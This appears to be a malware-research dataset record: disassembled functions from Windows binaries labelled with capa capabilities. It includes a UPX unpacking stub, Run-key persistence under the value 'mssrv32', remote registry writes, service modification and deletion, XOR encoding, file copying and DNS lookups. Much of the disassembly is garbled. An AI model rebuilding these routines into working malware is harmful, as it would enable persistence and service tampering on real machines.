joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100277eb
Capabilities:
Print debug messages

Disassembly:
push esi
push 8
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
pop ecx
test esi, esi
je 0x10027808
push 8
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp byte [0x1003cde0], 0
je 0x100278ec
push edi
push 0x64
push str.sizeof__t_ASMBlock____d
mov edi, 0x1003e5e0
push edi
call fcn.100203ec
add esp, 0xc
cmp byte [0x1003cde0], 0
je 0x100278eb
push edi
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
cmp byte [0x1003cde0], 0
je 0x100278eb
push 4
push str.sizeof_Uns32____d
push edi
call fcn.100203ec
add esp, 0xc
cmp byte [0x1003cde0], 0
je 0x100278eb
push edi
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
cmp byte [0x1003cde0], 0
je 0x100278eb
push 4
push str.sizeof_HANDLE____d
push edi
call fcn.100203ec
add esp, 0xc
cmp byte [0x1003cde0], 0
je 0x100278eb
push edi
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
cmp byte [0x1003cde0], 0
je 0x100278eb
push 4
push str.sizeof_Handle32____d
push edi
call fcn.100203ec
add esp, 0xc
cmp byte [0x1003cde0], 0
je 0x100278eb
push edi
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
cmp byte [0x1003cde0], 0
je 0x100278eb
push 4
push str.sizeof_void____d
push edi
call fcn.100203ec
add esp, 0xc
cmp byte [0x1003cde0], 0
je 0x100278eb
push edi
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
pop edi
mov eax, esi
pop esi
ret

Function at 0x1002795e
Capabilities:
Print debug messages

Disassembly:
push 0x1c
mov eax, 0x1002cf70
call fcn.1002a0fc
cmp byte [0x1003cde0], 0
mov edi, dword [ebp + 8]
je 0x1002799d
lea eax, [edi + 4]
mov esi, 0x1003e5e0
push eax
push str.ASM_Release__s
push esi
call fcn.100203ec
add esp, 0xc
cmp byte [0x1003cde0], 0
je 0x1002799d
push esi
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
lea eax, [edi + 4]
push eax
lea ecx, [ebp - 0x28]
call fcn.10001b12
push dword [edi + 0x48]
and dword [ebp - 4], 0
lea eax, [ebp - 0x28]
push eax
call fcn.1000276d
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x100279d3
mov ecx, dword [ebx]
push 1
mov esi, dword [ecx]
mov ecx, esi
call dword [0x1002e5c4]
mov ecx, ebx
call esi
lea ecx, [ebp - 0x28]
call fcn.100203ec
and dword [edi + 0x4c], 0
and dword [edi + 0x44], 0
call fcn.1002a0a6
ret
Function at 0x100279e9
Capabilities:
Print debug messages

Disassembly:
push 0x24
mov eax, 0x1002cf9d
call fcn.1002a0fc
cmp byte [0x1003cde0], 0
mov ebx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], esi
je 0x10027a48
call fcn.100203ec
test al, al
mov edx, 0x1002ea51
mov ecx, str._in_AppContaner
cmove ecx, edx
push ecx
push str.ASM_Retrieve_retrieving_shared_memory_in_Plug_in_s
push 0x1003e5e0
call fcn.100203ec
add esp, 0xc
cmp byte [0x1003cde0], 0
je 0x10027a48
push 0x1003e5e0
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
and dword [esi], 0
lea eax, [edi + 4]
and dword [ebx], 0
lea ecx, [ebp - 0x28]
push eax
call fcn.10001b12
push dword [edi + 0x48]
and dword [ebp - 4], 0
lea eax, [ebp - 0x28]
push eax
call fcn.1000276d
or dword [ebp - 4], 0xffffffff
mov ebx, eax
pop ecx
pop ecx
lea ecx, [ebp - 0x28]
call fcn.100203ec
test ebx, ebx
jne 0x10027aae
cmp byte [0x1003cde0], bl
je 0x10027b0f
push str.ASM_Retrieve_ERROR__finding_memory_mapped_file_
mov ebx, 0x1003e5e0
push ebx
call fcn.100203ec
cmp byte [0x1003cde0], 0
pop ecx
pop ecx
je 0x10027b0f
push ebx
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
jmp 0x10027b0f
mov eax, dword [ebx]
mov esi, dword [eax + 0x20]
mov ecx, esi
call dword [0x1002e5c4]
mov ecx, ebx
call esi
mov dword [edi + 0x44], eax
test eax, eax
jne 0x10027ad5
cmp byte [0x1003cde0], al
je 0x10027b0f
push str.ASM_Retrieve_ERROR__getting_memory_mapped_file_handle_
jmp 0x10027a8f
mov eax, dword [ebx]
push dword [edi + 0x48]
mov esi, dword [eax + 0xc]
mov ecx, esi
call dword [0x1002e5c4]
mov ecx, ebx
call esi
mov dword [edi + 0x4c], eax
test eax, eax
jne 0x10027aff
cmp byte [0x1003cde0], al
je 0x10027b0f
push str.ASM_Retrieve_ERROR__mapping_for_writing_
jmp 0x10027a8f
mov ecx, dword [ebp - 0x2c]
mov eax, dword [edi + 0x48]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [edi + 0x4c]
mov dword [ecx], eax
call fcn.1002a0a6
ret
Function at 0x407b30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407b52
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407b59
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407b48
mov eax, 1
add ebx, ebx
jne 0x407b6b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407b60
jne 0x407b7c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407b60
xor ecx, ecx
sub eax, 3
jb 0x407b90
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x407c02
mov ebp, eax
add ebx, ebx
jne 0x407b9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ba8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x407bcc
inc ecx
add ebx, ebx
jne 0x407bb8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407bad
jne 0x407bc9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407bad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x407bec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x407bdd
jmp 0x407b4e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x407bec
add edi, ecx
jmp 0x407b4e
pop esi
mov edi, esi
mov ecx, 0x2a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x407c0a
cmp byte [edi], 2
jne 0x407c0a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x407c0f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x407c87
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8038]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x80c4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x407c3c
mov ecx, edi
jns 0x407c6b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x80c8]
or eax, eax
je 0x407c81
mov dword [ebx], eax
add ebx, 4
jmp 0x407c59
call dword [esi + 0x80cc]
popal
jmp 0x4010ff
Function at 0x401080
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
push edi
lea edi, [ebp - 3]
mov esi, section..rdata
mov ecx, 3
rep movsb byte es:[edi], byte [esi]
xor ebx, ebx
mov eax, ebx
movsx eax, al
add eax, 0x41
mov byte [ebp - 3], al
lea eax, [ebp - 3]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [ebp + ebx*4 - 0x6c], eax
sub ebx, 0xffffffff
cmp ebx, 0x1a
jl 0x40109a
mov edi, dword [ebp + 8]
lea esi, [ebp - 0x6c]
mov ecx, 0x1a
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4010d0
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push esi
push edi
lea edi, [ebp - 0x1fe]
mov esi, 0x40c003
mov ecx, 0x3f
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xff]
mov esi, 0x40c102
mov ecx, 0x3f
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x214], 0xff
lea edi, [ebp - 0x208]
mov esi, 0x40c201
mov ecx, 2
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x209]
mov esi, 0x40c20b
mov ecx, 1
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x21c]
mov esi, 0x40c20c
mov ecx, 8
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x1fe]
push eax
lea edi, [ebp - 0x209]
push edi
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHELL32.dll_FindExecutableA]
cmp eax, 0x20
jbe 0x4011e4
lea eax, [ebp - 0x210]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4011e4
lea edi, [ebp - 0x214]
push edi
lea edi, [ebp - 0xff]
push edi
push 0
push 0
lea edi, [ebp - 0x21c]
push edi
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4011e4
push 0xa
lea eax, [ebp - 0x1fe]
push eax
lea eax, [ebp - 0xff]
push eax
call fcn.00403730
add esp, 0xc
test eax, eax
jne 0x4011e4
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x4011f3
invalid
pop ebp
ret
Function at 0x401200
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
in al, dx
cmp al, 0x8d
inc ebp
cld
push esi
push edi
push eax
mov esi, 0x40c214
mov ecx, 0xb
push 2
lea eax, [ebp - 0x32]
lea edi, [ebp - 0x32]
push 0
push eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 8
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x3a]
push reloc.WS2_32.dll_bind
mov esi, 0x40c242
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401279
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x3a]
push 1
push 0
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40126f
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x40127e
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop edi
pop esi
add byte [edi + 0x5e], bl
mov esp, ebp
pop ebp
ret

Function at 0x401290
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
in al, dx
inc eax
push esi
push edi
lea edi, [ebp - 0x36]
mov esi, 0x40c24a
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x3e]
mov esi, str.mssrv32
mov ecx, 8
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 4]
push eax
push reloc.WS2_32.dll_bind
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryA]
test eax, eax
jne 0x40131f
lea eax, [ebp - 8]
push eax
push 2
push 0
lea eax, [ebp - 0x36]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401329
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
push 1
push 0
lea eax, [ebp - 0x3e]
push eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x401329
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x401338
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4013b0
Capabilities:
Encode data using xor

Disassembly:
in al, dx
pushfd
add eax, dword [eax]
add byte [ebx + 0x56], dl
push edi
xor ebx, ebx
lea edi, [ebp - 0x74]
mov esi, 0x40c280
mov ecx, 0x1d
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x39c], eax
lea edx, [ebp - 0x193]
mov esi, eax
push edx
sub edx, esi
mov al, byte [esi]
mov byte [edx + esi], al
add esi, 1
test al, al
xor al, byte [ebx - 0x3f7bfe3a]
jne 0x4013e1
pop edx
lea ecx, [ebp - 0x292]
mov eax, dword [ebp - 0x39c]
mov edx, eax
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
adc dword [ebx - 0x3f7bfe3e], eax
jne 0x4013ff
pop esi
lea eax, [ebp - 0x292]
push eax
call fcn.00401cf0
pop ecx
mov dword [ebp - 0x94], 2
mov dword [ebp - 0x90], 1
mov dword [ebp - 0x8c], 3
mov dword [ebp - 0x88], 1
mov dword [ebp - 0x84], 0
lea esi, [ebp - 0x193]
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0
push 0
mov esi, dword [ebp + 0x10]
push esi
mov eax, dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x94]
push eax
call fcn.00403620
mov dword [ebp - 0x398], eax
jmp 0x401483
inc esp
popfd
mov word [ebp + 0x53f975c0], es
test eax, eax
jne 0x401480
push ebx
push 0
call fcn.00401c90
add esp, 8
lea ecx, [ebp - 0x391]
mov edx, dword [ebp + eax*4 - 0x74]
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
adc dword [ebx - 0x3f7bfe3e], eax
jne 0x4014a3
pop esi
push 0x40c33c
mov eax, dword [ebp + 0xc]
push eax
call fcn.00403780
add esp, 8
lea edi, [ebp - 0x391]
push edi
mov eax, dword [ebp + 0xc]
push eax
call fcn.00403780
add esp, 8
mov ebx, dword [ebp + 0xc]
push ebx
mov eax, dword [ebp + 8]
push eax
call fcn.00401d90
add esp, 8
test eax, eax
jne 0x401511
lea esi, [ebp - 0x292]
push esi
push 4
mov eax, dword [ebp + 8]
push eax
call fcn.00401290
add esp, 0xc
push 1
push 1
lea eax, [ebp - 0x193]
push eax
call fcn.00403626
xor eax, eax
jmp 0x401526
lea eax, [ebp - 0x193]
push eax
call fcn.00403626
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
in al, dx
pop ebp
ret

Function at 0x401530
Capabilities:
Get hostname

Disassembly:
in al, dx
add al, 1
add byte [eax], al
push ebx
lea eax, [ebp - 0x104]
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x104], 0xff
push eax
lea eax, [ebp - 0xff]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov edx, 0x40c339
mov ecx, ebx
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
adc dword [ebx - 0x3f7bfe3e], eax
jne 0x401565
pop eax
lea eax, [ebp - 0xff]
push eax
push ebx
call fcn.00403780
add esp, 8
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401cf0
Capabilities:
Read file via mapping
Write file on windows

Disassembly:
pop ebp
or byte [eax + 0x3e755c3b], al
cmp byte [ebx + 1], 0x5c
jne 0x401d35
mov ecx, 2
jmp 0x401d1b
or eax, dword [eax]
jmp 0x401d35
enter 0xffffffffffff83ff, 0xffffffffffffffe8
inc dword [eax + 0x7500023c]
dec dword [ebx - 0x3dc603ab]
jb 0x401d0c
pop ebx
mov esp, ebp
pop ebp
ret
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 4
push ebx
mov ebx, dword [ebp + 8]
pop ebp
or byte [eax + 0x3e755c3b], al
cmp byte [ebx + 1], 0x5c
jne 0x401d85
mov ecx, 2
jmp 0x401d66
rol dword [ecx], 0x89
enter 0x4589, 0xfffffffffffffffc
mov edx, ebx
or eax, 0xffffffff
add eax, 1
cmp byte [edx + eax], 0
jne 0x401d70
enter 0xffffffffffff83ff, 0xffffffffffffffc0
add dword [eax + 0x7500023c], eax
dec dword [ebx - 0x3dc603ab]
mov edx, dword [ebp - 4]
cmp edx, eax
jb 0x401d5c
mov byte [ebx + ecx - 2], 0
pop ebx
mov esp, ebp
pop ebp
ret
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi

Function at 0x401d90
Capabilities:
Read file via mapping
Write file on windows

Disassembly:
push edi
mov dword [ebp - 8], 0
xor edi, edi
call fcn.00403680
and eax, 0x1fffff
lea edi, [eax + 0x400]
lea eax, [edi*4]
push eax
call fcn.00403dc0
pop ecx
mov ebx, eax
push 0
push 0
push 3
push 0
push 1
push bind
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 4
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x18], eax
mov dword [ebp - 8], eax
push 0
push pe_nt_image_headers32
push 2
push 0
push 1
push 0xc0000000
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
push 0
lea esi, [ebp - 0x1c]
push esi
push 0x14dfc
mov esi, dword [ebp - 8]
push esi
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x401e92
test ebx, ebx
je 0x401e92
xor esi, esi
jmp 0x401e67
push 0
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x1c]
push eax
push edi
push ebx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x20], eax
push ebx
call fcn.00404670
pop ecx
xor edi, edi
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
dec dword [ebx - 0xaf0fbb]
adc eax, sym.imp.KERNEL32.dll_CloseHandle
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xc], 0
je 0x401ed3
cmp dword [ebp - 0x20], 0
je 0x401ed3
xor eax, eax
jmp 0x401ed8
mov esp, ebp
pop ebp
ret
mov ecx, 0x100
push ebp
mov ebp, esp
Function at 0x4023a0
Capabilities:
Modify service

Disassembly:
je 0x4023c6
adc al, 0x31
fucomi st(3)
sbb eax, 0xf1f048d
mov esi, 0x600d8b10
pushal
pop edx
inc ecx
add byte [edi], cl
mov edi, 0x10885114
add ebx, 1
cmp ebx, esi
jl 0x4023af
pop edi
pop esi
pop ebx
ret
nop
nop
push ebx
push esi
push edi
xor edi, edi
mov esi, dword [esp + 0x14]
adc al, 0x8b
pop esp
and al, 0x10
jmp 0x4023f4
nop
nop
nop
nop
mov edx, dword [esp + 4]
cmp ecx, 4
jl 0x402425
mov ecx, dword [esp + 8]
jmp 0x40241c
add bl, al
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi

Function at 0x402430
Capabilities:
Modify service

Disassembly:
push edi
mov dword [ebp - 4], 0x64
xor ebx, ebx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push esi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 8], eax
test esi, esi
je 0x4024bd
push 0
push str.Messenger
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x4024b6
push 0x40ca74
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 2
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
test eax, eax
je 0x4024b6
jmp 0x4024ae
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 8]
inc ebp
clc
push eax
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
inc ecx
add byte [esi - 1], dl
adc eax, sym.imp.ADVAPI32.dll_CloseServiceHandle
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4024e0
Capabilities:
Delete service
Enumerate services
Stop service

Disassembly:
add byte [ebx + 0x56], dl
push edi
xor edi, edi
mov dword [ebp - 4], 0
xor ebx, ebx
mov dword [ebp - 0x108], 1
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
mov dword [ebp - 0x10c], 0
test edi, edi
je 0x40269c
lea esi, [ebp - 0x10c]
push esi
lea ebx, [ebp - 0x110]
push ebx
lea ebx, [ebp - 0x138]
push ebx
push 0x24
lea eax, [ebp - 0x134]
push eax
push 1
push 0x30
push edi
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
mov dword [ebp - 0x108], eax
test eax, eax
je 0x402568
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x40269c
mov eax, dword [ebp - 0x138]
push eax
call fcn.00403dc0
pop ecx
mov ebx, eax
test ebx, ebx
je 0x402693
push esp
sbb byte [eax], al
add byte [ecx - 0x77], bl
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x402693
lea esi, [ebp - 0x10c]
push esi
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x138]
push eax
mov eax, dword [ebp - 0x138]
add eax, 0x24
push eax
push ebx
push 1
push 0x30
push edi
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
je 0x402693
xor esi, esi
jmp 0x402685
and al, 0x8b
add al, 0x13
push ecx
sub ecx, eax
mov dl, byte [eax]
mov byte [ecx + eax], dl
add eax, 1
test dl, dl
jne 0x4025d6
pop eax
lea edx, [ebp - 0x103]
or eax, 0xffffffff
add eax, 1
cmp byte [edx + eax], 0
jne 0x4025ec
call dword [eax - 0x73]
test ebp, edi
invalid
push eax
lea eax, [ebp - 0x103]
push eax
call fcn.004023d0
add esp, 8
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x103]
push eax
call fcn.004047d0
add esp, 8
test eax, eax
je 0x402682
push 0x20
imul eax, esi, 0x24
mov eax, dword [ebx + eax]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
test eax, eax
je 0x402678
lea eax, [ebp - 0x154]
push eax
push 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x10000
imul eax, esi, 0x24
mov eax, dword [ebx + eax]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add esi, 1
mov eax, esi
inc ecx
add byte [ebx - 0xf76fe3a], al
cmp eax, dword [ebp - 0x110]
invalid
jb 0x4025c7
push ebx
call fcn.00404670
pop ecx
xor ebx, ebx
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
fist dword [edi - 1]
adc eax, sym.imp.ADVAPI32.dll_CloseServiceHandle
xor eax, eax
pop edi
pop esi
pop ebx
rcr byte [edi + 0x5e], 0x5b
mov esp, ebp
pop ebp
ret
Function at 0x403590
Capabilities:
Resolve dns

Disassembly:
add eax, 1
cmp byte [ebx + eax], 0
jne 0x40359a
mov ebx, eax
xor ecx, ecx
xor edi, edi
jmp 0x4035ce
ret
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebx, eax
test ebx, ebx
jne 0x4035ff
push 0
call fcn.00404bd0
pop ecx
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
mov word [ebp - 0x10], 2
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0xc]
mov dword [eax], edx
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret